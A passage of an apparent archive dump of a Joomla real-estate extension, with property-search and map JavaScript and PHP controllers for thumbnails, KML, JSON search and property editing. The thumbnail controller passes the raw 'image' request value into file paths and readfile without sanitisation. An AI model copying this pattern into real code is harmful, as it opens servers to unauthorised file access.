a=b.st.retina,c=a.ratio;c=isNaN(c)?c():c,c>1&&(w("ImageHasSize."+U,function(a,b){b.img.css({"max-width":b.img[0].naturalWidth/c,width:"100%"})}),w("ElementParse."+U,function(b,d){d.src=a.replaceSrc(d,c)}))}}}}),A()});js/jquery-search.js000064400000011170151165074470010312
0ustar00/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate
 * agency
 * 
 * @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license GNU/GPL, see LICENSE.txt
 */

function JEASearch(formId, options) {
	this.form = jQuery(formId)[0]
	this.forceUpdateLists = true
	this.options = {
		fields : {
			filter_amenities : [],
			filter_area_id : 0,
			filter_bathrooms_min : 0,
			filter_bedrooms_min : 0,
			filter_budget_max : 0,
			filter_budget_min : 0,
			filter_condition : 0,
			filter_department_id : 0,
			filter_floor : '',
			filter_heatingtype : 0,
			filter_hotwatertype : 0,
			filter_land_space_max : 0,
			filter_land_space_min : 0,
			filter_living_space_max :0,
			filter_living_space_min : 0,
			filter_orientation : 0,
			filter_rooms_min : 0,
			filter_search : "",
			filter_town_id : 0,
			filter_transaction_type : "",
			filter_type_id : 0,
			filter_zip_codes : ""
		},
		useAJAX: false,
		transactionType: ""
	}

	jQuery.extend(this.options, options)

	if (this.options.useAJAX) {
		for (var fieldName in this.options.fields) {
			if (fieldName == 'filter_amenities') {
				fieldName = 'filter_amenities[]'
			}
			this.initFieldBehavior(fieldName)
		}
	}
	
	jQuery(formId).on('reset', jQuery.proxy(this.reset, this))
}

JEASearch.prototype.initFieldBehavior = function(fieldName) {

	if (!this.form[fieldName]) {
		return
	}

	switch (fieldName) {
		case 'filter_amenities[]':
			var that = this
			jQuery(this.form).find('[name="filter_amenities[]"]').on('change',
function() {
				var index =
that.options.fields.filter_amenities.indexOf(jQuery(this).val())

				if (jQuery(this).prop('checked') && index == -1) {
					that.options.fields.filter_amenities.push(jQuery(this).val());
				} else if (!jQuery(this).prop('checked') && index
> -1){
					that.options.fields.filter_amenities.splice(index, 1);
				}

				that.forceUpdateLists = true
				that.refresh()
			})
			break
		case 'filter_transaction_type':
			var that = this
			jQuery(this.form).find('[name="filter_transaction_type"]').on('change',
function() {

				if (jQuery(this).prop('checked')) {
					that.options.fields.filter_transaction_type = jQuery(this).val()
				}
				that.forceUpdateLists = true
				that.refresh()
			})
			break
		default:
			var field = jQuery(this.form[fieldName])
			this.options.fields[fieldName] = field.val()
			field.on('change', jQuery.proxy(function() {
				this.forceUpdateLists = false
				this.options.fields[fieldName] = field.val()
				this.refresh()
			}, this))
	}
}

JEASearch.prototype.reset = function() {

	this.options.fields = {
		filter_amenities : [],
		filter_area_id : 0,
		filter_bathrooms_min : 0,
		filter_bedrooms_min : 0,
		filter_budget_max : 0,
		filter_budget_min : 0,
		filter_condition : 0,
		filter_department_id : 0,
		filter_floor : '',
		filter_heatingtype : 0,
		filter_hotwatertype : 0,
		filter_land_space_max : 0,
		filter_land_space_min : 0,
		filter_living_space_max :0,
		filter_living_space_min : 0,
		filter_orientation : 0,
		filter_rooms_min : 0,
		filter_search : "",
		filter_town_id : 0,
		filter_transaction_type : this.options.transactionType,
		filter_type_id : 0,
		filter_zip_codes : ""
	};
	
	jQuery(this.form).find(':input')
		.not(':button, :submit, :reset, :hidden')
		.val('')
		.prop('checked', false)
		.prop('selected', false)
		.removeAttr('checked')
		.removeAttr('selected')

	this.refresh()
},

JEASearch.prototype.refresh = function() {

	if (this.options.useAJAX) {
		jQuery.ajax({
			dataType: 'json',
			url:
'index.php?option=com_jea&task=properties.search&format=json',
			method: 'POST',
			data: this.options.fields,
			context: this,
			success: function(response) {
				this.appendList('filter_type_id', response.types)
				this.appendList('filter_department_id', response.departments)
				this.appendList('filter_town_id',response.towns)
				this.appendList('filter_area_id', response.areas)
				jQuery('.jea-counter-result').text(response.total)
			}
		})
	}
}

JEASearch.prototype.appendList = function(selectName, objectList) {
	
	if (!this.form[selectName]) {
		return
	}

	var selectElt = jQuery(this.form[selectName])

	// Update the list only if its value equals 0
	// Or if this.forceUpdateLists is set to true
	if (selectElt.val() == 0 || this.forceUpdateLists) {
		var value = selectElt.val()

		// Save the first option element
		var first = selectElt.children(':first').clone()
		selectElt.empty().append(first)

		jQuery.each(objectList, function( idx, item ){
			var option =
jQuery('<option></option>').text(item.text).attr('value',
item.value)

			if (item.value == value) {
				option.attr('selected', 'selected')
			}
			
			selectElt.append(option)
		})
	}
}
js/jea-squeezebox.js000064400000006254151165074470010466 0ustar00

var onOpenSqueezebox = function(content) {

	var imgLinks = $$('a.jea_modal');
	var gallery = [];
	var currentIndex = 0;

	imgLinks.each(function(el, count) {

		if (el.href.test(SqueezeBox.url)) {
			currentIndex = count;
		}
		var ImgElt = el.getElement('img');
		if (ImgElt) {
			gallery[count] = {
				title : ImgElt.getProperty('alt'),
				description : ImgElt.getProperty('title'),
				url : el.href
			};
		}
	});
	
	var replaceImage = function (imageIndex) {
		if (!gallery[imageIndex]) {
			return false;
		}
		content.empty();
		var newImage = gallery[imageIndex];

		// This override the non-wanted opacity effect once the gallery is
		// loaded
		SqueezeBox.fx.content = new Fx.Tween(content, {
			property: 'min-height',
			duration: 150,
			link: 'cancel'	
		}).set(0);
		
		SqueezeBox.setContent('image', newImage.url);
		appendInfos(newImage);
		return true;
	};

	var appendInfos = function(imgData) {
		if (imgData.title || imgData.description) {
			var infosElt = document.id('jea-squeezeBox-infos');

			if (!infosElt) {
				infosElt = new Element('div', {'id' :
'jea-squeezeBox-infos'})
				content.getParent().adopt(infosElt);
			} else {
				infosElt.empty();
			}

			if (imgData.title) {
				infosElt.adopt(new Element('div', {
					'id' : 'jea-squeezeBox-title',
					'text' : imgData.title
				}));
			}
			
			if (imgData.description) {
				infosElt.adopt(new Element('div', {
					'id' : 'jea-squeezeBox-description',
					'text' : imgData.description
				}));
			}
		}
	};

	var navBlock = document.id('jea-squeezeBox-navblock');

	if (!navBlock) {
		var navBlock = new Element('div', { 'id' :
'jea-squeezeBox-navblock' });
		content.getParent().adopt(navBlock);
	}

	if (!document.id('jea-squeezeBox-prev')) {

		if (!previousLabel) {
			previousLabel = 'Previous';
		}

		var previousLink = new Element('a', {
			'href' : '#',
			'id' : 'jea-squeezeBox-prev',
			'text' : '< ' + previousLabel
		});

		previousLink.addEvent('click', function(e) {
			e.stop();
			if (replaceImage(currentIndex-1)) {
				currentIndex--;
				if (!gallery[currentIndex-1]) {
					this.setProperty('class', 'inactive')
				}
			}
			
			if (gallery[currentIndex+1] &&
nextLink.getProperty('class') == 'inactive') {
				nextLink.removeProperty('class');
			}
		});

		navBlock.adopt(previousLink);

	} else {
		var previousLink = document.id('jea-squeezeBox-prev')
	}
	
	if (!document.id('jea-squeezeBox-next')) {

		if (!nextLabel) {
			nextLabel = 'Next';
		}

		var nextLink = new Element('a', {
			'href' : '#',
			'id' : 'jea-squeezeBox-next',
			'text' : nextLabel+' >'
		});

		nextLink.addEvent('click', function(e) {
			e.stop();
			if (replaceImage(currentIndex+1)) {
				currentIndex++;
				if (!gallery[currentIndex+1]) {
					this.setProperty('class', 'inactive')
				}
			}

			if (gallery[currentIndex-1] &&
previousLink.getProperty('class') == 'inactive') {
				previousLink.removeProperty('class');
			} 
		});

		navBlock.adopt(nextLink);
	} else {
		var nextLink = document.id('jea-squeezeBox-next')
	}

	if (!gallery[currentIndex-1]) {
		previousLink.setProperty('class', 'inactive');
	}

	if (!gallery[currentIndex+1]) {
		nextLink.setProperty('class', 'inactive');
	}

	appendInfos(gallery[currentIndex]);
	
}
js/jquery-geoSearch.js000064400000004532151165074470010751 0ustar00
function JEAGeoSearch(mapId, options) {
	this.content = document.getElementById(mapId)
	this.mask = null
	this.map = null

	this.options = {
		opacity : 0.5,
		counterElement : '',
		defaultArea : '',
		Itemid : 0
	}
	
	jQuery.extend(this.options, options)
}

JEAGeoSearch.prototype.refresh = function() {

	var params = this.getFilters();

	var kml =
'index.php?option=com_jea&task=properties.kml&format=xml'

	for (key in params) {
		kml += '&' + key + '=' + params[key]
	}

	kml += '&Itemid=' + this.options.Itemid

	var mapOptions = {
		mapTypeId : google.maps.MapTypeId.ROADMAP
	}

	this.map = new google.maps.Map(this.content, mapOptions)

	var that = this

	geoXml = new geoXML3.parser({
		map : this.map,
		afterParse : function(docSet) {

			// Count results
			var count = 0;
			
			jQuery.each(docSet, function(idx, doc) {

				if (doc.markers) {
					count += doc.markers.length
				}
			})

			if (!count) {
				var geocoder = new google.maps.Geocoder()
				var opts = {
					address : that.options.defaultArea
				}

				geocoder.geocode(opts, function(results, status) {
					if (status == google.maps.GeocoderStatus.OK) {
						that.map.fitBounds(results[0].geometry.viewport);
					}
				})
			}

			jQuery('#' + that.options.counterElement).text(count)
		}
	})

	geoXml.parse(kml);
}

JEAGeoSearch.prototype.getFilters = function () {

	var form = jQuery('#jea-search-form')
	var filters = {}
	var fields = [ 
		'filter_type_id', 
		'filter_department_id',
		'filter_town_id', 
		'filter_area_id', 
		'filter_budget_min',
		'filter_budget_max', 
		'filter_living_space_min',
		'filter_living_space_max', 
		'filter_rooms_min'
	]
	
	var transTypes =
form.find('[name="filter_transaction_type"]')
	
	if (transTypes.length > 1) {
		
		jQuery.each(transTypes, function(idx, item){
			if (jQuery(item).prop('checked')) {
				filters['filter_transaction_type'] = jQuery(item).val()
			}
		})

	} else if (transTypes.length == 1) {
		filters['filter_transaction_type'] = transTypes.val()
	}

	jQuery.each(fields, function(idx, field) {
		var val = jQuery(form).find('[name="' + field
+'"]').val()
		if (val > 0) {
			filters[field] = val
		}
	})

	var amenities =
form.find('[name="filter_amenities[]"]')
	jQuery.each(amenities, function(idx, item) {
		if (jQuery(item).prop('checked')) {
			filters['filter_amenities[' + idx + ']'] =
jQuery(item).val()
		}
	})

	return filters
}

controllers/thumbnail.php000064400000005447151165173770011635
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Filesystem\Folder;
use Joomla\CMS\Image\Image;

/**
 * Thumbnail controller class.
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaControllerThumbnail extends JControllerLegacy
{
	/**
	 * Create a thumbnail
	 *
	 * @return void
	 *
	 * @throws Exception
	 */
	public function create()
	{
		// @var JApplicationWeb  $application

		$application = JFactory::getApplication();
		$output      = '';
		$size        = $this->input->getCmd('size',
'');
		$image       = $_REQUEST['image'];
		$id          = $this->input->getInt('id', 0);
		$imagePath   = JPATH_ROOT . '/images/com_jea/images/' . $id .
'/' . $image;
		$thumbDir    = JPATH_ROOT . '/images/com_jea/thumb-' . $size;
		$thumbPath   = $thumbDir . '/' . $id . '-' . $image;

		if (empty($image))
		{
			throw new RuntimeException('Empty \'image\'
parameter', 500);
		}

		if (!in_array($size, array('min', 'medium')))
		{
			throw new RuntimeException('The image size is not recognized',
500);
		}

		if (file_exists($thumbPath))
		{
			$output = readfile($thumbPath);
		}
		elseif (file_exists($imagePath))
		{
			if (!Folder::exists($thumbPath))
			{
				Folder::create($thumbDir);
			}

			$params = JComponentHelper::getParams('com_jea');

			if ($size == 'medium')
			{
				$width = $params->get('thumb_medium_width', 400);
				$height = $params->get('thumb_medium_height', 300);
			}
			else
			{
				$width = $params->get('thumb_min_width', 120);
				$height = $params->get('thumb_min_height', 90);
			}

			$quality = (int) $params->get('jpg_quality', 90);
			$cropThumbnails = (bool) $params->get('crop_thumbnails',
0);
			$image = new Image($imagePath);

			if ($cropThumbnails)
			{
				$thumb = $image->resize($width, $height, true,
JImage::SCALE_OUTSIDE);
				$left = $thumb->getWidth() > $width ?
intval(($thumb->getWidth() - $width) / 2) : 0;
				$top = $thumb->getHeight() > $height ?
intval(($thumb->getHeight() - $height) / 2) : 0;
				$thumb->crop($width, $height, $left, $top, false);
			}
			else
			{
				$thumb = $image->resize($width, $height);
			}

			$thumb->toFile($thumbPath, IMAGETYPE_JPEG, array('quality'
=> $quality));

			$output = readfile($thumbPath);
		}
		else
		{
			throw new RuntimeException('The image ' . $image . ' was
not found', 500);
		}

		$application->setHeader('Content-Type',
'image/jpeg', true);
		$application->setHeader('Content-Transfer-Encoding',
'binary', true);
		$application->sendHeaders();

		echo $output;

		$application->close();
	}
}
controllers/properties.xml.php000064400000010012151165174000012610
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Properties xml controller class.
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaControllerProperties extends JControllerLegacy
{
	/**
	 * Generate KML
	 *
	 * @return void
	 */
	public function kml()
	{
		$app = JFactory::getApplication();
		$Itemid = $app->input->getInt('Itemid', 0);

		$model = $this->getModel('Properties', 'JeaModel',
array('ignore_request' => true));

		$filters = array_keys($model->getFilters());

		// Set the Model state
		foreach ($filters as $filter)
		{
			$model->setState('filter.' . $filter,
$app->input->get('filter_' . $filter, null,
'default'));
		}

		// Deactivate pagination
		$model->setState('list.start', 0);
		$model->setState('list.limit', 0);

		// Set language state
		$model->setState('filter.language',
$app->getLanguageFilter());

		$items = $model->getItems();

		$doc = new DomDocument;

		$kmlNode = $doc->createElement('kml');
		$kmlNode->setAttribute('xmlns',
'http://www.opengis.net/kml/2.2');
		$documentNode = $doc->createElement('Document');

		foreach ($items as $row)
		{
			if (abs($row->latitude) > 0 && abs($row->longitude)
> 0)
			{
				$placemarkNode = $doc->createElement('Placemark');
				$nameNode = $doc->createElement('name');
				$descrNode = $doc->createElement('description');
				$pointNode = $doc->createElement('Point');

				/*
																 *
Http://code.google.com/intl/fr/apis/kml/documentation/kml_tut.html#placemarks
				 * (longitude, latitude, and optional altitude)
				 */

				$coordinates = $row->longitude . ',' . $row->latitude .
',0.000000';
				$coordsNode = $doc->createElement('coordinates',
$coordinates);

				$row->slug = $row->alias ? ($row->id . ':' .
$row->alias) : $row->id;

				$url =
JRoute::_('index.php?option=com_jea&view=property&id=' .
$row->slug . '&Itemid=' . $Itemid);

				if (empty($row->title))
				{
					$name =
ucfirst(JText::sprintf('COM_JEA_PROPERTY_TYPE_IN_TOWN',
$row->type, $row->town));
				}
				else
				{
					$name = $row->title;
				}

				$description = '<div
style="clear:both"></div>';

				$images = json_decode($row->images);
				$image = null;

				if (! empty($images) && is_array($images))
				{
					$image = array_shift($images);
					$imagePath = JPATH_ROOT . '/images/com_jea';
					$imageUrl = '';

					if (file_exists($imagePath . '/thumb-min/' . $row->id .
'-' . $image->name))
					{
						// If the thumbnail already exists, display it directly
						$baseURL = JURI::root(true);
						$imageUrl = $baseURL . '/images/com_jea/thumb-min/' .
$row->id . '-' . $image->name;
					}
					elseif (file_exists($imagePath . '/images/' . $row->id .
'/' . $image->name))
					{
						// If the thumbnail doesn't exist, generate it and output it on
the fly
						$url =
'index.php?option=com_jea&task=thumbnail.create&size=min&id='
. $row->id . '&image=' . $image->name;
						$imageUrl = JRoute::_($url);
					}

					$description .= '<img src="' . $imageUrl .
'" alt="' . $image->name . '.jpg"
style="float:left;margin-right:10px" />';
				}

				$description .= substr(strip_tags($row->description), 0, 255)
							. ' ...<p><a href="' . $url .
'">' . JText::_('COM_JEA_DETAIL')
							. '</a></p><div
style="clear:both"></div>';

				$nameCDATA = $doc->createCDATASection($name);
				$descriptionCDATA = $doc->createCDATASection($description);
				$nameNode->appendChild($nameCDATA);
				$descrNode->appendChild($descriptionCDATA);
				$pointNode->appendChild($coordsNode);

				$placemarkNode->appendChild($nameNode);
				$placemarkNode->appendChild($descrNode);
				$placemarkNode->appendChild($pointNode);

				$documentNode->appendChild($placemarkNode);
			}
		}

		$kmlNode->appendChild($documentNode);
		$doc->appendChild($kmlNode);

		echo $doc->saveXML();
	}
}
controllers/properties.json.php000064400000007352151165174000012776
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Properties controller class.
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaControllerProperties extends JControllerLegacy
{
	/**
	 * Search action
	 *
	 * @return void
	 */
	public function search()
	{
		$app = JFactory::getApplication();
		$model = $this->getModel();
		$filters = array_keys($model->getFilters());

		// Set the Model state
		foreach ($filters as $filter)
		{
			$model->setState('filter.' . $filter,
$app->input->get('filter_' . $filter, null,
'default'));
		}

		// Deactivate pagination
		$model->setState('list.start', 0);
		$model->setState('list.limit', 0);

		// Set language state
		$model->setState('filter.language',
$app->getLanguageFilter());

		$items = $model->getItems();

		$result = array();
		$result['total'] = count($items);

		if (JDEBUG)
		{
			$result['query'] = (string) JFactory::getDbo()->getQuery();
		}

		$result['types'] = array();
		$result['towns'] = array();
		$result['departments'] = array();
		$result['areas'] = array();

		$temp = array();
		$temp['types'] = array();
		$temp['towns'] = array();
		$temp['departments'] = array();
		$temp['areas'] = array();

		foreach ($items as $row)
		{
			if ($row->type_id && !
isset($temp['types'][$row->type_id]))
			{
				$result['types'][] = array('value' =>
$row->type_id, 'text' => $row->type);
				$temp['types'][$row->type_id] = true;
			}

			if ($row->town_id && !
isset($temp['towns'][$row->town_id]))
			{
				$result['towns'][] = array('value' =>
$row->town_id, 'text' => $row->town);
				$temp['towns'][$row->town_id] = true;
			}

			if ($row->department_id && !
isset($temp['departments'][$row->department_id]))
			{
				$result['departments'][] = array('value' =>
$row->department_id, 'text' => $row->department);
				$temp['departments'][$row->department_id] = true;
			}

			if ($row->area_id && !
isset($temp['areas'][$row->area_id]))
			{
				$result['areas'][] = array('value' =>
$row->area_id, 'text' => $row->area);
				$temp['areas'][$row->area_id] = true;
			}
		}

		// TODO: User preference : Alpha ou order

		if (isset($result['types']))
		{
			usort($result['types'],
array('JeaControllerProperties', '_ajaxAlphaSort'));
		}

		if (isset($result['departments']))
		{
			usort($result['departments'],
array('JeaControllerProperties', '_ajaxAlphaSort'));
		}

		if (isset($result['towns']))
		{
			usort($result['towns'],
array('JeaControllerProperties', '_ajaxAlphaSort'));
		}

		if (isset($result['areas']))
		{
			usort($result['areas'],
array('JeaControllerProperties', '_ajaxAlphaSort'));
		}

		echo json_encode($result);
	}

	/**
	 * Sort method for usort
	 *
	 * @param   array  $arg1  Sort data 1
	 * @param   array  $arg2  Sort data 2
	 *
	 * @return number
	 */
	public function _ajaxAlphaSort(&$arg1, &$arg2)
	{
		$val1 = strtolower($arg1['text']);
		$val2 = strtolower($arg2['text']);

		return strnatcmp($val1, $val2);
	}

	/**
	 * Overrides parent method.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JeaModelProperties|boolean  Model object on success; otherwise
false on failure.
	 *
	 * @see JControllerLegacy::getModel()
	 */
	public function getModel($name = 'Properties', $prefix =
'JeaModel', $config = array('ignore_request' =>
true))
	{
		$model = parent::getModel($name, $prefix, $config);

		return $model;
	}
}
controllers/features.json.php000064400000004774151165174000012425
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Features controller class for AJAX requests.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaControllerFeatures extends JControllerLegacy
{
	/**
	 * Get list of areas in relation with a town
	 *
	 * @return void
	 */
	public function get_areas()
	{
		$response = false;

		// Require town id
		if ($town_id = $this->input->getInt('town_id', 0))
		{
			$db = JFactory::getDbo();
			$query = $db->getQuery(true);
			$query->select('f.id , f.value');
			$query->from('#__jea_areas AS f');
			$query->where('town_id=' . $town_id);
			$query->order('f.value ASC');
			$db->setQuery($query);
			$response = $db->loadObjectList();
		}

		echo json_encode($response);
	}

	/**
	 * Get list of towns in relation with a department
	 *
	 * @return void
	 */
	public function get_towns()
	{
		$response = false;

		// Require department id
		if ($department_id =
$this->input->getInt('department_id', 0))
		{
			$db = JFactory::getDbo();
			$query = $db->getQuery(true);
			$query->select('f.id , f.value');
			$query->from('#__jea_towns AS f');
			$query->where('department_id=' . $department_id);
			$query->order('f.value ASC');
			$db->setQuery($query);
			$response = $db->loadObjectList();
		}

		echo json_encode($response);
	}

	/**
	 * Get a feature list filtered by language
	 *
	 * @return void
	 */
	public function get_list()
	{
		// TODO: Check if this method is used
		$response = false;

		$featName = $this->input->getAlnum('feature');

		if (!is_null($featName))
		{
			$model = $this->getModel('Features', 'JeaModel');
			$features = $model->getItems();

			if (isset($features[$featName]))
			{
				if (!$language = $this->input->getString('language',
'*'))
				{
					$language = '*';
				}

				$db = JFactory::getDbo();
				$query = $db->getQuery(true);
				$query->select('f.id , f.value');
				$query->from($db->quoteName($features[$featName]->table) .
' AS f');

				if ($language != '*')
				{
					$query->where('f.language=' . $db->quote($language) .
'OR f.language=\'*\'');
				}

				$query->order('f.value ASC');
				$db->setQuery($query);
				$response = $db->loadObjectList();
			}
		}

		echo json_encode($response);
	}
}
controllers/properties.php000064400000010255151165174000012022
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Properties controller class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       1.0
 */
class JeaControllerProperties extends JControllerAdmin
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration
settings.
	 *
	 * @see JControllerLegacy::__construct()
	 */
	public function __construct($config = array())
	{
		parent::__construct($config);

		$this->registerTask('unfeatured', 'featured');
	}

	/**
	 * Method to toggle the featured setting of a list of properties.
	 *
	 * @return  void
	 */
	public function featured()
	{
		// Check for request forgeries
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		// Initialise variables.
		$user = JFactory::getUser();
		$ids = $this->input->get('cid', array(),
'array');
		$values = array(
				'featured' => 1,
				'unfeatured' => 0
		);
		$task = $this->getTask();
		$value = ArrayHelper::getValue($values, $task, 0, 'int');

		// Access checks.
		foreach ($ids as $i => $id)
		{
			if (!$user->authorise('core.edit.state',
'com_jea.property.' . (int) $id))
			{
				// Prune items that you can't change.
				unset($ids[$i]);
				$this->setMessage(JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'),
'warning');
			}
		}

		if (empty($ids))
		{
			$this->setMessage(JText::_('JERROR_NO_ITEMS_SELECTED'),
'warning');
		}
		else
		{
			$model = $this->getModel();

			try
			{
				$model->featured($ids, $value);
			}
			catch (\Exception $e)
			{
				$this->setMessage($e->getMessage(), 'error');
			}
		}

		$this->setRedirect('index.php?option=com_jea&view=properties');
	}

	/**
	 * Method to copy a list of properties.
	 *
	 * @return  void
	 */
	public function copy()
	{
		// Check for request forgeries
		JSession::checkToken()or jexit(JText::_('JINVALID_TOKEN'));

		// Initialise variables.
		$user = JFactory::getUser();
		$ids = $this->input->get('cid', array(),
'array');

		// Access checks.
		if (! $user->authorise('core.create'))
		{
			$this->setMessage(JText::_('JLIB_APPLICATION_ERROR_CREATE_RECORD_NOT_PERMITTED'),
'warning');
		}
		elseif (empty($ids))
		{
			$this->setMessage(JText::_('JERROR_NO_ITEMS_SELECTED'),
'warning');
		}
		else
		{
			$model = $this->getModel();

			try
			{
				$model->copy($ids);
			}
			catch (\Exception $e)
			{
				$this->setMessage($e->getMessage(), 'error');
			}
		}

		$this->setRedirect('index.php?option=com_jea&view=properties');
	}

	/**
	 * Method to import properties.
	 *
	 * @return  void
	 */
	public function import()
	{
		$app = JFactory::getApplication();

		$model = $this->getModel('Import');
		$type = $app->input->get('type');

		$model->setState('import.type', $type);
		$model->setState('param.jea_version',
$app->input->get('jea_version'));
		$model->setState('param.joomla_path',
$app->input->get('joomla_path', '',
'string'));

		try
		{
			$model->import();
			$app->enqueueMessage(JText::sprintf('COM_JEA_PROPERTIES_FOUND_TOTAL',
$model->total));
			$app->enqueueMessage(JText::sprintf('COM_JEA_PROPERTIES_UPDATED',
$model->updated));
			$app->enqueueMessage(JText::sprintf('COM_JEA_PROPERTIES_CREATED',
$model->created));
		}
		catch (Exception $e)
		{
			$this->setMessage($e->getMessage(), 'warning');
		}

		$this->setRedirect('index.php?option=com_jea&view=import&layout='
. $type);
	}

	/**
	 * Method to get a JeaModelProperty model object, loading it if required.
	 *
	 * @param   string  $name    The model name.
	 * @param   string  $prefix  The class prefix.
	 * @param   array   $config  Configuration array for model.
	 *
	 * @return  JeaModelProperty|boolean  Model object on success; otherwise
false on failure.
	 *
	 * @see JControllerForm::getModel()
	 */
	public function getModel($name = 'Property', $prefix =
'JeaModel', $config = array())
	{
		$model = parent::getModel($name, $prefix, $config);

		return $model;
	}
}
controllers/default.php000064400000001211151165174000011242
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Default controller class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaControllerDefault extends JControllerLegacy
{
	/**
	 * The default view for the display method.
	 *
	 * @var string
	 */
	protected $default_view = 'properties';
}
controllers/property.php000064400000003501151165174000011506
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Property controller class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaControllerProperty extends JControllerForm
{
	/**
	 * Method to check if you can edit an existing record.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key;
default is id.
	 *
	 * @return  boolean
	 *
	 * @see JControllerForm::allowEdit()
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// Initialise variables.
		$recordId = (int) isset($data[$key]) ? $data[$key] : 0;
		$user = JFactory::getUser();
		$asset = 'com_jea.property.' . $recordId;

		// Check general edit permission first.
		if ($user->authorise('core.edit', $asset))
		{
			return true;
		}

		// Fallback on edit.own.
		// First test if the permission is available.
		if ($user->authorise('core.edit.own', $asset))
		{
			// Now test the owner is the user.
			$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;

			if (empty($ownerId) && $recordId)
			{
				// Need to do a lookup from the model.
				$record = $this->getModel()->getItem($recordId);

				if (empty($record))
				{
					return false;
				}

				$ownerId = $record->created_by;
			}

			// If the owner matches 'me' then do the test.
			if ($ownerId == $user->id)
			{
				return true;
			}
		}

		// Since there is no asset tracking, revert to the component
		// permissions.
		return parent::allowEdit($data, $key);
	}
}
controllers/default.feed.php000064400000001177151165174000012157
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Default feed controller class.
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaControllerDefault extends JControllerLegacy
{
	/**
	 * The default view for the display method.
	 *
	 * @var    string
	 */
	protected $default_view = 'properties';
}
helpers/html/utility.php000064400000005212151165174000011366
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Jea Utility helper
 *
 * @package     Joomla.Site
 * @subpackage  com_jea
 *
 * @since       2.0
 */
abstract class JHtmlUtility
{
	/**
	 * @var Joomla\Registry\Registry
	 */
	protected static $params = null;

	/**
	 * Format price following the component configuration.
	 * If price is empty, return a default string value.
	 *
	 * @param   float|int  $price    The price as number
	 * @param   string     $default  Default value if price equals 0
	 *
	 * @return  string
	 */
	public static function formatPrice($price = 0, $default = '')
	{
		$params = self::getParams();

		if (! empty($price))
		{
			$currency_symbol = $params->get('currency_symbol',
'&euro;');
			$price = self::formaNumber($price);

			// Is currency symbol before or after price ?
			if ($params->get('symbol_position', 1))
			{
				$price = $price . ' ' . $currency_symbol;
			}
			else
			{
				$price = $currency_symbol . ' ' . $price;
			}

